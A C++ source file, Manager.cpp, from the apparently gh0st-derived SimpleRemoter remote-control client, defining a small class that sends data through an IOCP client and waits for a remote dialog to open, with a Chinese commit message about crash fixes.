Files
SimpleRemoter/client/Manager.cpp
yuanyuanxiang 681ab9bd82 修复注册表管理窗口关闭时崩溃的缺陷
1、还原客户端的文件管理模块代码为gh0st的源码3.6版本.

2、修复上述"cmd窗口总是将输入命令输出2次"的遗留问题。

3、打开注册表关闭后崩溃,参照按对文件管理窗口的修改进行处理。遗留问题:并无内存泄漏,但退出时报"HEAP: Free Heap
modified after it was freed"问题。
2019-01-12 18:21:42 +08:00

51 lines
1.0 KiB
C++

// Manager.cpp: implementation of the CManager class.
//
//////////////////////////////////////////////////////////////////////
#include "stdafx.h"
#include "Manager.h"
//////////////////////////////////////////////////////////////////////
// Construction/Destruction
//////////////////////////////////////////////////////////////////////
CManager::CManager(IOCPClient* ClientObject)
{
m_ClientObject = ClientObject;
m_ClientObject->setManagerCallBack(this);
m_hEventDlgOpen = CreateEvent(NULL,TRUE,FALSE,NULL);
}
CManager::~CManager()
{
if (m_hEventDlgOpen!=NULL)
{
CloseHandle(m_hEventDlgOpen);
m_hEventDlgOpen = NULL;
}
}
int CManager::Send(LPBYTE lpData, UINT nSize)
{
int nRet = 0;
try
{
nRet = m_ClientObject->OnServerSending((char*)lpData, nSize);
}catch(...){};
return nRet;
}
VOID CManager::WaitForDialogOpen()
{
WaitForSingleObject(m_hEventDlgOpen, INFINITE);
//必须的Sleep,因为远程窗口从InitDialog中发送COMMAND_NEXT到显示还要一段时间
Sleep(150);
}
VOID CManager::NotifyDialogIsOpen()
{
SetEvent(m_hEventDlgOpen);
}